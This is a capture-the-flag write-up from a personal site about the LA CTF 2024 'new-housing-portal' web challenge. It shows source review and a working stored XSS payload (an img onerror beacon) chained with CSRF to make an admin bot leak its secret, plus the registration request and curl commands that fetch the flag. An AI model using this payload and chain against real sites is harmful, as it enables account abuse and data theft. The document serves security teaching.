Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

new-housing-portal

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?

Hint - You can send a link that the admin bot will visit as samy.

Hint - Come watch the real Samy’s talk if you are stuck!

Site - new-housing-portal.chall.lac.tf

Admin Bot - https://admin-bot.lac.tf/new-housing-portal

Enumeration

Index page:

When we go to /, it redirected us to /login/ with parameter err=login required.

Alright then, let’s register a new account!

Burp Suite HTTP history:

When we clicked the “SIGN UP” button, it’ll send a POST request to /register with parameter name username, password, name, and deepestDarkestSecret. The response will set a new cookie called auth, and with header Location’s value /, which redirects us to /.

After registering, we can go to “Find Roomates” (The “Roomates” is typo’d) and “View Invitations”.

In here, we can find roommates with their username.

Hmm… Can I search for myself?

I can!

Burp Suite HTTP history:

When we hit “Enter”, GET parameter name q will be appended to our URL search query. Then, it’ll send a GET to /user with parameter q=<username> asynchronously.

After searching myself, we can try to invite myself:

Burp Suite HTTP history:

When we clicked the “INVITE” button, it’ll send a POST request to /finder with parameter username=<username>.

Now, since we have an invitation, we can view it via the “View Invitations” page!

In here, the inviter’s username and “Deepest Darkest Secret” is returned.

We can try to accept the invite by clicking the “ACCEPT” button:

Hmm… Looks like the web application doesn’t allow accepting invites.

Also, according to the challenge’s description, there’s an “Admin Bot” link, where the bot will visit to our given URL. This kind of “bot” implemention is to simulate a real victim, so this challenge is typically about client-side vulnerability, such as XSS (Cross-Site Scripting).

There’s not much we can do in here, let’s read this web application’s source code!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/LA-CTF-2024/web/new-housing-portal)-[2024.02.19|12:02:51(HKT)]
└> file new-housing-portal.zip 
new-housing-portal.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/LA-CTF-2024/web/new-housing-portal)-[2024.02.19|12:02:52(HKT)]
└> unzip new-housing-portal.zip 
Archive:  new-housing-portal.zip
  inflating: Dockerfile              
  inflating: package.json            
  inflating: package-lock.json       
   creating: src/
  inflating: src/index.html          
   creating: src/finder/
  inflating: src/finder/index.html   
  inflating: src/finder/style.css    
  inflating: src/finder/index.js     
  inflating: src/style.css           
  inflating: src/server.js           
   creating: src/request/
  inflating: src/request/index.html  
  inflating: src/request/style.css   
  inflating: src/request/index.js    
   creating: src/login/
  inflating: src/login/index.html    
  inflating: src/login/style.css     
  inflating: src/login/index.js

After reading the source code a little bit, we have the following findings.

First, the flag is in the samy user’s deepestDarkestSecret:

[...]
const users = new Map();
[...]Payload:
users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity
});
[...]

According to the challenge’s description, the admin bot will visit as user samy.

So, our goal is to get user samy’s deepestDarkestSecret.

src/finder/index.js:

const $ = q => document.querySelector(q);

$('.search input[name=username]').addEventListener('keydown', (e) => {
  if (e.key === 'Enter') {
    location.search = '?q=' + encodeURIComponent(e.target.value);
  }
});

const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
  (async () => {
    const user = await fetch('/user?q=' + encodeURIComponent(query))
      .then(r => r.json());
    if ('err' in user) {
      $('.err').innerHTML = user.err;
      $('.err').classList.remove('hidden');
      return;
    }
    $('.user input[name=username]').value = user.username;
    $('span.name').innerHTML = user.name;
    $('span.username').innerHTML = user.username;
    $('.user').classList.remove('hidden');
  })();
}

In here, when GET parameter name q is provided, it’ll send a GET request to /user with parameter q=<username>:

src/server.js, GET method route /user:

[...]
app.get('/user', (req, res) => {
  const query = req.query.q;

  if (!users.has(query)) {
    res.json({ err: 'username not found' });
    return;
  }

  const { username, name } = users.get(query);

  res.json({ username, name });
});
[...]

As you can see, it just return the user’s username and name when parameter q is provided.

However, there’s a vulnerability after getting the results and display them.

Let’s take a closer look at the code in src/finder/index.js:

if (query) {
  (async () => {
    const user = await fetch('/user?q=' + encodeURIComponent(query))
      .then(r => r.json());
    if ('err' in user) {
      $('.err').innerHTML = user.err;
      $('.err').classList.remove('hidden');
      return;
    }
    $('.user input[name=username]').value = user.username;
    $('span.name').innerHTML = user.name;
    $('span.username').innerHTML = user.username;
    $('.user').classList.remove('hidden');
  })();
}

As you can see, it has 1 sink (Dangerous function), which is innerHTML. And the sources (User controllable inputs) are our user’s name and username.

In src/finder/index.html, we can see class name and username in the <span> element:

    [...]
    <div class="search">
      <label>Payload:
        Username (enter to search)
        <input type="text" name="username">
      </label>
      <div class="err hidden"></div>
      <div class="user hidden">
        <p>Name: <span class="name"></span></p>
        <p>Username: <span class="username"></span></p>

        <form name="invite" action="/finder" method="POST">
          <input type="hidden" name="username">
          <input type="submit" value="Invite">
        </form>
      </div>
    </div>
    [...]

In the above JavaScript and HTML code, we can see that our user’s name and username are not encoded/sanitized at all. Hence, /finder/ is vulnerable to DOM-based XSS!

But wait… How can we exfiltrate samy’s deepestDarkestSecret (The flag)??

src/server.js, POST method route /finder:

[...]
app.post('/finder', needsLogin, (req, res) => {
  const username = req.body.username?.trim();

  if (!users.has(username)) {
    res.redirect('/finder?err=' + encodeURIComponent('username does not exist'));
    return;
  }

  users.get(username).invitations.push({
    from: res.locals.user.username,
    deepestDarkestSecret: res.locals.user.deepestDarkestSecret
  });

  res.redirect('/finder?msg=' + encodeURIComponent('invitation sent!'));
});
[...]

When we invite someone, the endpoint doesn’t have any CSRF (Cross-Site Request Forgery) protection! That being said, this route is vulnerable to CSRF!

Then, since we can read the deepestDarkestSecret in the “View Invitations” page, we can exfiltrate deepestDarkestSecret by exploiting CSRF!

Exploitation

Armed with above information, we can now exfiltrate samy’s deepestDarkestSecret!

Payload:

<img src=x onerror="navigator.sendBeacon('/finder', new URLSearchParams({username : '<username_here>'}))">

The above XSS payload will make the victim to send a new invite to our user. Then we can view our invitation and exfiltrate deepestDarkestSecret.

POST /register HTTP/2
Host: new-housing-portal.chall.lac.tf
Content-Type: application/x-www-form-urlencoded

username=xss_user&password=pwd&name=<img+src%3dx+onerror%3d"navigator.sendBeacon('/finder',+new+URLSearchParams({username+%3a+'siunam321'}))">&deepestDarkestSecret=foobar

Vulnerable DOM-based XSS URL:

https://new-housing-portal.chall.lac.tf/finder/?q=xss_user

┌[siunam♥Mercury]-(~/ctf/LA-CTF-2024/web/new-housing-portal)-[2024.02.19|13:52:34(HKT)]
└> curl -s -H "Cookie: auth=s%3Asiunam321.iFI1fSuHn%2FEL82kiqJWOwsLCWpF%2Fts1HqJ4QesuNLi8" https://new-housing-portal.chall.lac.tf/invitation
{"invitations":[{"from":"siunam321","deepestDarkestSecret":"todo"},{"from":"siunam321","deepestDarkestSecret":"todo"},{"from":"samy","deepestDarkestSecret":"lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}"}]}

Beatified:

┌[siunam♥Mercury]-(~/ctf/LA-CTF-2024/web/new-housing-portal)-[2024.02.19|13:54:50(HKT)]
└> curl -s -H "Cookie: auth=s%3Asiunam321.iFI1fSuHn%2FEL82kiqJWOwsLCWpF%2Fts1HqJ4QesuNLi8" https://new-housing-portal.chall.lac.tf/invitation | jq -r '.invitations[2]["deepestDarkestSecret"]'
lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}

Conclusion

What we’ve learned:

  1. Stored XSS chained with CSRF